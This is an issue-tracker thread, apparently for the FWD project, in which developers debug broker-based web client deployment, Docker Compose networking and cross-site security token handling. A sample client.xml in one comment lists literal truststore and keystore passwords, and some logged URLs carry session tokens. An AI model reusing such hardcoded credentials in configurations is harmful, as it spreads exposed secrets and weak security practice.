thatremote:agent:dedicatedMode=truebut this parameter should changeclient:web:host=fwddev2toclient:web:host=localhostso this part should not work in your setup.remote:agent:dedicatedModeshould befalse.
I would like that you noted my repeated messages about the revision number that is needed to use with your setup #9709-304 and #9709-292.
For completeness, I closed the broker, and restarted it with remote:agent:dedicatedMode=true with the 16336 revision. The browser shows localhost refused to connect message.
#311 Updated by Sergey Ivanovskiy 7 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
From your logs I observed
[...]
thatremote:agent:dedicatedMode=truebut this parameter should changeclient:web:host=fwddev2toclient:web:host=localhostso this part should not work in your setup.remote:agent:dedicatedModeshould befalse.
I would like that you noted my repeated messages about the revision number that is needed to use with your setup #9709-304 and #9709-292.For completeness, I closed the broker, and restarted it with
remote:agent:dedicatedMode=truewith the 16336 revision. The browser shows localhost refused to connect message.{{collapse(Show the console log)
[...]
}}
Yes, this is expected because the code uses window.location changes (fwd_sdk.js) and localhost in this case is the host on which the browser is opened. If the dedicatedMode is true, then the web client host is substituted by localhost.
I am still try to fix security issue. My previous note #9709-307 was not correct because testing with the broker environment shows the same restriction the secure cookie is blocked because came from the cross-site response. Thus at this moment I have an issue because do not know how to provide security token with lazy loaded dojo libraries. Dojo uses script tag to inject the loaded modules into the page.
#312 Updated by Roger Borrello 7 months ago
I have a copy of 9709b on xfer.goldencode.com in /opt/fwd/9709b that I want to revert to 16336 for now. Should I unbind and revert, then bind, or just revert the unbound repo?
#313 Updated by Sergey Ivanovskiy 7 months ago
You could commit 16336 after 16337 to revert the changes.
#315 Updated by Roger Borrello 6 months ago
Sergey Ivanovskiy wrote:
You could commit 16336 after 16337 to revert the changes.
I reverted to 16336 on xfer, so if you checkout the xfer.goldencode.com/opt/fwd/9709b branch, you'll get the proper revision. I didn't want to make a change to the branch.
#316 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
Roger: Based on your trials and tribulations with this, I think our documentation needs edits. Please write those edits.
Which docs? As noted in #9709-3?
- Has all the installation/setup as documented in Client Installation.
- Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
- If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.
#317 Updated by Greg Shah 6 months ago
Roger Borrello wrote:
Greg Shah wrote:
Roger: Based on your trials and tribulations with this, I think our documentation needs edits. Please write those edits.
Which docs? As noted in #9709-3?
Yes, but especially the Remote Launchers
#318 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
Yes, but especially the Remote Launchers
Updated the client.xml section. I was looking at the server config, and I notice there are ACLs branch <trustedspawner> is ignored errors. Is the below section required?
<node class="container" name="security">
<node class="container" name="acl">
<node class="container" name="trustedspawner">
<node class="container" name="000100">
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="fwd"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
<node class="trustedSpawnerRights" name="rights">
<node-attribute name="allow" value="true"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1"/>
</node>
</node>
</node>
#319 Updated by Roger Borrello 6 months ago
Roger Borrello wrote:
Greg Shah wrote:
Yes, but especially the Remote Launchers
Updated the client.xml section. I was looking at the server config, and I notice there are
ACLs branch <trustedspawner> is ignorederrors. Is the below section required?
[...]
I just removed trusterspawner, and it still works fine. I had trouble when I tried to add a second broker. It failed when I did the SSLCertGenUtil:
java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -dir directory.xml
Initializing service for directory directory.xml...
class 'container' name ''
java.lang.RuntimeException: class 'container' name ''
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
at com.goldencode.p2j.directory.XmlRemapperIO.load(XmlRemapperIO.java:171)
at com.goldencode.p2j.directory.XmlRemapper.load(XmlRemapper.java:163)
at com.goldencode.p2j.directory.RamRemapper.bind(RamRemapper.java:263)
at com.goldencode.p2j.directory.DirectoryService.rollBack(DirectoryService.java:5579)
at com.goldencode.p2j.directory.DirectoryService.<init>(DirectoryService.java:321)
at com.goldencode.p2j.directory.DirectoryService.createInstance(DirectoryService.java:345)
at com.goldencode.p2j.security.SSLCertGenUtil.generate(SSLCertGenUtil.java:362)
at com.goldencode.p2j.security.SSLCertGenUtil.main(SSLCertGenUtil.java:1974)
Caused by: java.lang.RuntimeException: class 'container' name 'security'
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
... 8 more
Caused by: java.lang.RuntimeException: class 'container' name 'acl'
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
... 9 more
Caused by: java.lang.RuntimeException: class 'container' name 'trustedspawner'
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
... 10 more
Caused by: java.lang.RuntimeException: class 'container' name '000100' failed to add child
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:327)
at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
... 11 more
Unable to bind to underlying back-end
Exception in thread "main" com.goldencode.p2j.cfg.ConfigurationException: Can't initialize directory
at com.goldencode.p2j.directory.DirectoryService.<init>(DirectoryService.java:323)
at com.goldencode.p2j.directory.DirectoryService.createInstance(DirectoryService.java:345)
at com.goldencode.p2j.security.SSLCertGenUtil.generate(SSLCertGenUtil.java:362)
at com.goldencode.p2j.security.SSLCertGenUtil.main(SSLCertGenUtil.java:1974)
I had just added a second broker like below, but that might not have been the correct configuration. In any case, it works without the entire section.
<node class="container" name="security">
<node class="container" name="acl">
<node class="container" name="trustedspawner">
<node class="container" name="000100">
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="fwd"/>
<node-attribute name="reftype" value="TRUE"/>
</node>
<node class="trustedSpawnerRights" name="rights">
<node-attribute name="allow" value="true"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="broker2"/>
</node>
</node>
</node>
#320 Updated by Roger Borrello 6 months ago
- File 9709_both_on_broker2.png added
With a second broker configured, I connected from a second laptop on my network. It still went through the same broker. Should I have expected it to load balance right away, or just under a certain load? I had started up broker1 after I had already made a connection to broker2, so perhaps that factored in?

#321 Updated by Roger Borrello 6 months ago
- File 9709_one_on_broker1_one_on_broker2.png added
Actually, I disconnected one, came in again, and broker1 was used... Not sure I know the algorithm, but I was just making sure both were used.

(I took the snapshot before the session was fully loaded, but it worked.)
#322 Updated by Sergey Ivanovskiy 6 months ago
Roger, you can investigate the code of BrokerManager.schedule and add changes here to see which one is selected for the particular user.
#323 Updated by Roger Borrello 6 months ago
Sergey Ivanovskiy wrote:
Roger, you can investigate the code of
BrokerManager.scheduleand add changes here to see which one is selected for the particular user.
Thanks for the pointer, but I don't need to go that deep right now. I need to get to configuration automation so I can setup Docker in multi-broker mode.
#324 Updated by Sergey Ivanovskiy 6 months ago
I found that I did not test LAX policy and committed into 9709b rev 16349 but cookie was blocked due to the LAX cookie came from the cross-site response which was not the response to the top level navigation.
https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/CSRF#defense_in_depth_samesite_cookies
Continue working on the idea to use the secure header token value.
#325 Updated by Roger Borrello 6 months ago
I was trying to work with a docker-compose setup and was not able the browser to the server. In this configuration, we have 2 containers. Below is the compose file:
services:
hotel_server:
image: hotel_gui_server:latest
container_name: hotel_server
hostname: fwddev1
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel h2"'
ports:
- 7443:7443
- 7449-7459:7449-7459
- 3333:3333
- 3433:3433
volumes:
- hotel_gui_db_h2:/opt/hotel/db
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ./repo/entrypoint/docker-entrypoint_server.sh:/opt/hotel/docker/docker-entrypoint.sh
environment:
START_SERVER_GETOPTS: '-c /opt/hotel/etc/server.xml'
hotel_broker1:
image: hotel_gui_client:latest
container_name: hotel_broker1
hostname: fwddev2
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker${BROKER:-1}_client.xml"'
ports:
- 2202:22
depends_on:
- hotel_server
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ${SEC_DIR:-../deploy/security}:/opt/hotel/security
- ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
volumes:
hotel_gui_db_h2:
external: true
The directory was very similar to the working configuration for hotel, but with "fwd" instead of "rfb" and paths. The Docker image has the same working FWD branch and revision. But I just could not connect over the https://localhost:7443/gui so I added the forwardedHost and forwardedProto values to the directory. This didn't make any difference, because it turns out it was the same issue I discovered in #7457-72
I had to add network_mode: bridge to the services. But now I am given the https://fwddev1/proxy/client11/index.html?token=41d891af835b94c686a3b1faccbc129d URL. Perhaps this is because of the forwardedHost? I'll try removing that.
#326 Updated by Roger Borrello 6 months ago
Roger Borrello wrote:
directory. This didn't make any difference, because it turns out it was the same issue I discovered in #7457-72
I had to add
network_mode: bridgeto the services. But now I am given the https://fwddev1/proxy/client11/index.html?token=41d891af835b94c686a3b1faccbc129d URL. Perhaps this is because of the forwardedHost? I'll try removing that.
Yes... we have a problem to work through, because the broker reported:
26/01/13 19:06:18.546-0500 | SEVERE | com.goldencode.p2j.main.BrokerCore [com.goldencode.p2j.main.BrokerCore.initialize()] | ThreadName:main | remote:agent:host=fwddev2 should be configured as a network host name or IP address
26/01/13 19:06:18.633-0500 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
26/01/13 19:06:21.724-0500 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.net.NoRouteToHostException: No route to host
at java.base/sun.nio.ch.Net.connect0(Native Method)
at java.base/sun.nio.ch.Net.connect(Net.java:579)
at java.base/sun.nio.ch.Net.connect(Net.java:568)
at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:593)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
at java.base/java.net.Socket.connect(Socket.java:633)
at java.base/java.net.Socket.connect(Socket.java:583)
at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1268)
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:552)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:234)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
The broker is not able to connect to the server. I went on the broker and tried:
curl -k https://fwddev1:7443 curl: (7) Failed to connect to fwddev1 port 7443 after 3107 ms: Couldn't connect to server
I'll work on this issue next.
#327 Updated by Sergey Ivanovskiy 6 months ago
Roger, I do not understand why you were using proxy. In our broker configuration we do not use the proxy server.
#330 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
Sergey Ivanovskiy wrote:
Roger, I do not understand why you were using proxy. In our broker configuration we do not use the proxy server.
What would be needed in FWD if a customer required reverse proxy + brokers?
I added proxy because I was accessing Docker containers from outside of the container network. It was an attempt to debug why I could not get into the container network. It really wasn't needed. Of course it is used by one of our customers in their current Docker solution, so I anticipate it being required when I get around to their network setup.
#331 Updated by Greg Shah 6 months ago
Some customers will not use reverse proxy but will use the complex containers. So we must support complex containers with and without reverse proxy. The reverse proxy cfg is more complicated so I would hesitate to start with that. Also, I think Sergey is noting that FWD doesn't currently support the reverse proxy + broker combo.
#332 Updated by Sergey Ivanovskiy 6 months ago
Greg, I meant that the reverse proxy server has its own configuration. The broker client and local web client looks similar if we use the proxy server in front of them. WebClientsManager is responsible for creating web client in both cases. Correct?
#333 Updated by Roger Borrello 6 months ago
Roger Borrello wrote:
Roger Borrello wrote:
directory. This didn't make any difference, because it turns out it was the same issue I discovered in #7457-72I had to add
network_mode: bridgeto the services. But now I am given the https://fwddev1/proxy/client11/index.html?token=41d891af835b94c686a3b1faccbc129d URL. Perhaps this is because of the forwardedHost? I'll try removing that.Yes... we have a problem to work through, because the broker reported:
[...]The broker is not able to connect to the server. I went on the broker and tried:
[...]
I'll work on this issue next.
This is the craziness of the Docker networking. The default bridged network does not allow me to access the docker-compose network from outside, yet within the containers can access each other by hostname. Then, giving the bridged network a name by updating the service definitions in the YAML to add network_mode: bridge, I can then access the docker-compose network from outside, but I had to change the broker XML to use the internal IP addresses 172.17.0.2 for the broker to be able to connect to the server. It's crazy.
#334 Updated by Roger Borrello 6 months ago
- File 9709_internal_url_docker_compose_issue.png added
So without the proxy configured, we get a valid URL in our error:
The webpage at https://172.17.0.3:7450/index.html?token=8e32b77688981a038f048dc1b599eba5 might be temporarily down or it may have moved permanently to a new web address.
However, when we attempt to go to that location, we get:

#335 Updated by Roger Borrello 6 months ago
- File 9709_2nd_time_in_works.png added
Now that the certificate was accepted, the second time I tried to get in, we are successful:
Woo-hoo... that's like "magic".
Sergey, I know this Docker setup is a little crazy, but it will still need to be addressed.
Greg, so far I have these setups tested for Hotel GUI:- 4 computers (traditional, 3 VMs and my laptop)
- 1 server
- 2 brokers
- 1 web client.
- 2 computers (all on my laptop)
- 1 server and 1 broker (via docker-compose)
- 1 web client
I am planning on expanding the docker-compose to 1 server with 2 brokers and also moving it off my laptop onto a VM. But it's entirely possible that the configuration of containers on separate computers is also to be done... and it I have trouble making containers communicate on the same computer, I can imagine how much fun it will be to get them configured to talk across networks. And I can only simulate this on VMs for now.
#336 Updated by Sergey Ivanovskiy 6 months ago
Hynek, please help to gather all api that requires security token. We need to provide security token to get an access to the local resources managed by the web client embedded web server. In some cases this security token can be provided only with a query parameter but not in the http header. They are usages of openMimeResource to open url in new window and all driver widgets. Which cases were missed on this way?
I committed rev 16350 (9709b). Please review this incomplete version. Do you have another ideas to handle these cases?
#337 Updated by Sergey Ivanovskiy 6 months ago
There is this experimental browsers API https://developer.mozilla.org/en-US/docs/Web/API/Private_State_Token_API that supported by Chrome. Can it be adapted for our cases?
#338 Updated by Sergey Ivanovskiy 6 months ago
Greg Shah wrote:
Sergey Ivanovskiy wrote:
Roger, you can investigate the code of
BrokerManager.scheduleand add changes here to see which one is selected for the particular user.Sergey: Please add logging (FINE level) so that this could be inspected without code edits.
Please review the committed rev 16352(9709b).
#339 Updated by Roger Borrello 6 months ago
I believe I found the appropriate network setup for our GCD firewall that should allow the docker-compose network to co-exist without any tricks (see #7457-76). Now I can configure the broker1_client.xml with the fwddev1 and fwddev2 host names. The directory.xml is currently using localhost for the webclient embedded host, so we access it locally with https://localhost:7443/gui until I set this up in the fwddev1 VM (which is next).
I had to play games with the entrypoint the broker uses, as it was flying through to the client execution before the server was ready:
#!/bin/bash
cfgfile=$1
cd /opt/hotel/client
sleep 60
./client.sh -bc ${cfgfile}
tail -f /dev/null
There might need to be some synchronization performed. I'm checking on if the depends_on: can be bolstered.
At least with the sleep, we now see the console output go to the docker-compose console.
Now having said all this, we no longer able to enable the certificate with our trick, as https://fwddev2:7449/index.html?token=ab354f06da8ca46bb5c0010ec53ac9b9 is unreachable. is returned... and we cannot reach fwddev2.
In the server log we have:
26/01/14 17:44:33.616-0500 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000003:broker1_process], Session:00000003, ThreadId:00000006, User:broker1_process | Broker user=broker1_process uuid=860e8468-209d-45ce-8285-e4e11758c5d9 registered. 26/01/14 17:44:46.115-0500 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp600045447-89 | not available host:port fwddev2/172.18.0.3:7449. 26/01/14 17:44:48.591-0500 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp600045447-89 | Returns the redirect url https://fwddev2:7449/index.html?token=ab354f06da8ca46bb5c0010ec53ac9b9 as response to GUI client.
#340 Updated by Sergey Ivanovskiy 6 months ago
- % Done changed from 70 to 80
#341 Updated by Sergey Ivanovskiy 6 months ago
Hynek, Constantin, please review the current rev 9709b. #9709-336 I have technical difficulties with the current implementation, for an example to use fetch instead of window.assign. All these issues are due to unsupportable implementation with main-iframe in which we load web_partial-login.html that was replaced by the web client page with help of fwd_sdk.js indirectly because fwd_sdk.js has no access to the parent page.
#342 Updated by Sergey Ivanovskiy 6 months ago
I need to transmit secure tokens as response headers but it is possible only to send them as template page parameters.
#343 Updated by Greg Shah 6 months ago
Sergey Ivanovskiy wrote:
I need to transmit secure tokens as response headers but it is possible only to send them as template page parameters.
I think we've spent quite a bit of time on this and I'm not sure if we should continue this effort.
Is this all coming because we use Dojo for the dialogs? Perhaps we need to rethink that usage. Or can we ensure that everything Dojo needs is loaded from our servers?
#344 Updated by Sergey Ivanovskiy 6 months ago
Greg Shah wrote:
I think we've spent quite a bit of time on this and I'm not sure if we should continue this effort.
Is this all coming because we use Dojo for the dialogs? Perhaps we need to rethink that usage. Or can we ensure that everything Dojo needs is loaded from our servers?
No, it is related to the current incorrect implementation. I think that we need to spent time on this.
#345 Updated by Sergey Ivanovskiy 6 months ago
#346 Updated by Roger Borrello 6 months ago
- % Done changed from 80 to 70
Greg, is this the proper place for discussion of the container configuration itself? I have the exact same docker-compose configuration attempting to run on a VM instead of my laptop, so I can move to more brokers easily and the broker is not able to connect. Does it make sense to continue in-depth Docker discussion here?
In this case I am running on a VM named fwddev1. I had configured the docker-compose to set the server service to fwddev1 and the broker service to fwddev2 only because that matched up with the VMs I had been using and thus the broker1_client.xml file contents. But in the interest of not being too confusing, I changed the host names to hotelsrv and hotelbrk1.
show docker-compose_broker.yml
In this situation, the directory.xml should have fwddev1 configured for the webclient. I can connect from my laptop to the VM and get the hotel app, but the broker cannot connect. The broker1_client.xml is using hotelsrv as the server name, and hotelbrk1 as its own name. From within that container, I can run curl -k https://hotelsrv:7443/gui and it connects and pulls the web page. I can also start ssh on that system itself, and run ssh hotelbrk1 and connect to itself, so those name resolutions should be working within the container environments. However, there are crash log entries counting down to 0:
26/01/15 17:36:59.308-0500 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
26/01/15 17:36:59.518-0500 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.net.ConnectException: Connection refused
at java.base/sun.nio.ch.Net.connect0(Native Method)
at java.base/sun.nio.ch.Net.connect(Net.java:579)
at java.base/sun.nio.ch.Net.connect(Net.java:568)
at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:593)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
at java.base/java.net.Socket.connect(Socket.java:633)
at java.base/java.net.Socket.connect(Socket.java:583)
at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1268)
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:552)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:234)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
So I'm just a tad confused why this connection isn't working in this broker setup. I am using the same passwords and stores as I had before.
#347 Updated by Roger Borrello 6 months ago
- % Done changed from 70 to 80
#349 Updated by Sergey Ivanovskiy 6 months ago
I am implementing the following idea. The web client creates the AES cryptographic key and delivers this key to AuthHandler and the js web client on clientReady(). Simultaneously, AuthHandler provides js web template index.html with the encrypted header that the js web client decrypts message and with each requests to the embedded web server it provides the encrypted header message with random value back to the server to authenticate its request. It can be GET parameters or header for fetch method or url with encrypted parameter to open a window. The encyption gives a chance to send this text to any one.
#351 Updated by Sergey Ivanovskiy 6 months ago
Committed rev 16353 (9709b) implemented the secure tokens (#9709-349). (AuthHandler decrypts tokens generated by p2j.generateEncryptedWebToken).
The rest work is to add secure tokens to all generated by web client requests and urls to local resources.
#352 Updated by Sergey Ivanovskiy 6 months ago
- % Done changed from 80 to 90
#353 Updated by Sergey Ivanovskiy 6 months ago
Committed revision 16355 (9709b). This is incomplete commit. Testing and fixing found issues related to query parameter changes.
#354 Updated by Roger Borrello 6 months ago
Greg Shah wrote:
Container-related details should be #7275 or if you are trying to keep the details non-private, we can create another task.
I believe you mean #7572. That's fine it's just a little broad.
#355 Updated by Sergey Ivanovskiy 6 months ago
Hynek, could you help with spreadsheet testcase sample? I need to test how the spreadsheet resources are loaded with 9709b and that its functionality is not affected.
#356 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek, could you help with spreadsheet testcase sample? I need to test how the spreadsheet resources are loaded with 9709b and that its functionality is not affected.
Please see #9295-28.
#357 Updated by Roger Borrello 6 months ago
Sergey, in my docker compose configuration, I have 3 containers, the DB (hostname=hoteldb), the server (hostname=hotelsrv), and the broker (hostname=hotelbrk1). They are communicating nicely now... see the docker compose console output
This is running on my laptop, so I browse to https://localhost:7443/gui and I see in the server log:
26/01/20 19:15:51.178-0500 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=2be0f616-abbf-4578-b895-37d7d419e5d5 registered. 26/01/20 19:16:03.279-0500 | INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:qtp2061694390-67, Session:00000005, ThreadId:00000006, User:admin | Connecting to [hotel] 26/01/20 19:17:13.332-0500 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp2061694390-127 | not available host:port hotelbrk1/172.18.0.5:7449. 26/01/20 19:17:16.312-0500 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp2061694390-127 | Returns the redirect url https://hotelbrk1:7449/index.html?token=288a893e9fcee4840ef8468dc8e3b8b5 as response to GUI client.
The hotelbrk1 is a name only usable from within the docker compose network, so we cannot go anywhere now:
hotelbrk1’s server IP address could not be found.
I am using 9709b_16336. Is there anything updated that would help? Is there a proxy to configure in this case? Or am I stuck?
However, the URL that is redirected
#358 Updated by Sergey Ivanovskiy 6 months ago
Roger, I am not aware of your environment and the corresponding setup but there are the following conditions that should be satisfied for your environment in order to use the broker setup. The first condition is that the server virtual host given by its name/ip address server (https://server:7443/gui) must be accessible from the browser client. The second condition is
that the broker client on the broker virtual host must be able to connect the server virtual host by its name/ip address given in the broker configuration file and the broker virtual host must be accessible from the browser client by the host/ip address given in the broker configuration file, usually https://broker:7449/.
If these conditions are hold, then the broker setup is correct and workable.
<node type="client">
<client>
<mode broker="true" />
</client>
<net>
<server host="server" />
<server port="3433" />
<server secure_port="3333" />
<connection secure="true" />
</net>
..................................................................
<access>
<password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
<password keystore="39jz20Ma&C8A*QJynU09vh>WUcKdM3z~" />
<password keyentry="39jz20Ma&C8A*QJynU09vh>WUcKdM3z~"/>
<!-- <password masterkeyentry="39jz20Ma&C8A*QJynU09vh>WUcKdM3z~" />-->
</access>
<!-- -Xmx512m -Djava.awt.headless=true -Duser.country=NL -Duser.language=nl -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -->
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/home/sbi/opt/hotel_gui/spawn" />
<agent host="broker"/>
<agent user="sbi"/>
<agent dedicatedMode="false"/>
<!-- -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -->
<java args="-Xmx1G -Djava.awt.headless=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8" />
<java classpath="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
</remote>
</node>
#359 Updated by Roger Borrello 6 months ago
Sergey Ivanovskiy wrote:
This could be a challenge for the multi-container setup, even in the most simple setup where I am running all 3 containers on localhost. In this situation, the 3 container names/DNS/IPs are:Roger, I am not aware of your environment and the corresponding setup but there are the following conditions that should be satisfied for your environment in order to use the broker setup. The first condition is that the server virtual host given by its name/ip address
server(https://server:7443/gui) must be accessible from the browser client. The second condition is
that the broker client on the broker virtual host must be able to connect the server virtual host by its name/ip address given in the broker configuration file and the broker virtual host must be accessible from the browser client by the host/ip address given in the broker configuration file, usuallyhttps://broker:7449/.
If these conditions are hold, then the broker setup is correct and workable.
- hotel_db / hoteldb / 172.18.0.2
- hotel_server / hotelsrv / 172.18.0.3
- hotel_broker1 / hotelbrk1 / 172.18.0.4
- hotel_broker1’s server IP address could not be found.
- hotelbrk1’s server IP address could not be found.
The IP addresses assigned are internal addresses and wouldn't be accessible from outside either. Moving this setup to be hosted on fwddev1 and accessed as https://fwddev1:7443/gui will be my next try, but I would think the configuration would be the same.
#360 Updated by Sergey Ivanovskiy 6 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
This could be a challenge for the multi-container setup, even in the most simple setup where I am running all 3 containers on localhost. In this situation, the 3 container names/DNS/IPs are:Roger, I am not aware of your environment and the corresponding setup but there are the following conditions that should be satisfied for your environment in order to use the broker setup. The first condition is that the server virtual host given by its name/ip address
server(https://server:7443/gui) must be accessible from the browser client. The second condition is
that the broker client on the broker virtual host must be able to connect the server virtual host by its name/ip address given in the broker configuration file and the broker virtual host must be accessible from the browser client by the host/ip address given in the broker configuration file, usuallyhttps://broker:7449/.
If these conditions are hold, then the broker setup is correct and workable.There are 2 ways the containers can address each other: 1) by container names or 2) by assigned hostnames. I've tried both and neither can be resolved when the redirection occurs from accessing https://localhost:7443/gui.
- hotel_db / hoteldb / 172.18.0.2
- hotel_server / hotelsrv / 172.18.0.3
- hotel_broker1 / hotelbrk1 / 172.18.0.4
- hotel_broker1’s server IP address could not be found.
- hotelbrk1’s server IP address could not be found.
Why do you use https://localhost:7443/? You should use the server address and please check these conditions, all hosts should be accessible from the host on which these containers are run. Please take into account #9709-358. There is no mystics here. The web client url and the server url must be accessible from the host on which the browser client (Chrome) is running.
#361 Updated by Roger Borrello 6 months ago
Sergey Ivanovskiy wrote:
Why do you use https://localhost:7443/? You should use the server address and please check these conditions, all hosts should be accessible from the host on which these containers are run. Please take into account #9709-358. There is no mystics here. The web client url and the server url must be accessible from the host on which the browser client (Chrome) is running.
Well I moved the configuration to fwddev1 so now I am using https://fwddev1:7443/gui and the results are the same. The redirect is the internal network's broker name (hotelbrk1 or hotel_broker1, depends on how I setup the containers).
Sergey, remember all these internal IP addresses and names are under the same host. Ports can be exposed to the external connections via the hosting name or IP and port (so localhost on my own computer and fwddev1 on the remote computer). But between each of the containers is a special internal network using their own names that are not available externally. So FWD somehow has to translate the internal name (hotelbrk1) to something external. In this case, I'm not even sure how that would be dealt with, since it is still fwddev1, the same host.
Greg, this multi-container setup using docker compose makes little sense now that I've actually got it configured, unless there is a proxy config to fool it into working.
#362 Updated by Roger Borrello 6 months ago
- Convert with 9709b command:
ant deployapp archive - Build the images... the Docker FWD images are in the repository. From the hotel project directory:
./docker/build_docker.sh -i fwd_4.0_ubuntu_24.04 -t 9709b_latest --compose --use_cache --jdk_version=jdk17 --no_prune --db_type=postgres -ld
- Create the volume for the database:
docker volume create hotel_db_postgres
- Create the cluster in the database:
cd docker docker compose -f docker-compose_create_pg_cluster.yml up Ctrl-C when done docker compose -f docker-compose_create_pg_cluster.yml down
- Prepare the directory
CFG_FILE=prepare_dir_postgres_docker_compose.json docker compose -f docker-compose_prepare.yml up Ctrl-C when done docker compose -f docker-compose_prepare.yml down
- Import the database
docker compose -f docker-compose_import.yml up Ctrl-C when done docker compose -f docker-compose_import.yml down
- Start the Broker Configuration
docker compose -f docker-compose_broker.yml up
At this point, you should be able to connect to https://localhost:7443/gui to recreate.
#363 Updated by Sergey Ivanovskiy 6 months ago
Roger, I have no idea, the accessibility conditions should be satisfied #9709-358 in order that the broker configuration works. I thought that it should be obvious because the web server main page just injects the web client page from the different web site so all these virtual hosts and the Chrome client host must be in the same network or can be accessible. This is the requirement.
#364 Updated by Sergey Ivanovskiy 6 months ago
Roger Borrello wrote:
Sergey, revision 421 of Hotel GUI allows you to configure the docker compose very easily. The steps would be:
- Convert with 9709b command:
ant deployapp archive- Build the images... the Docker FWD images are in the repository. From the hotel project directory:
[...]- Create the volume for the database:
[...]- Create the cluster in the database:
[...]- Prepare the directory
[...]- Import the database
[...]- Start the Broker Configuration
[...]
At this point, you should be able to connect to https://localhost:7443/gui to recreate.
I will check this later. The only idea is to use dedicatedMode = true. It should generate url like this one https://localhost:7449?...
#365 Updated by Sergey Ivanovskiy 6 months ago
Greg, Hynek, from the Single_Sign_On documentation
Auto-login can be configured by overriding the two default methods in the interface: getAuthCookieName (a non-null value expected) and Result authenticate(Cookie[] cookies, LicensingData licensingData).
it follows that the cookie based auto login does not work with the secured cookie too for the cross-site broker web client. Do you have ideas? At the moment I used web tokens that can be generated using the session secret key.
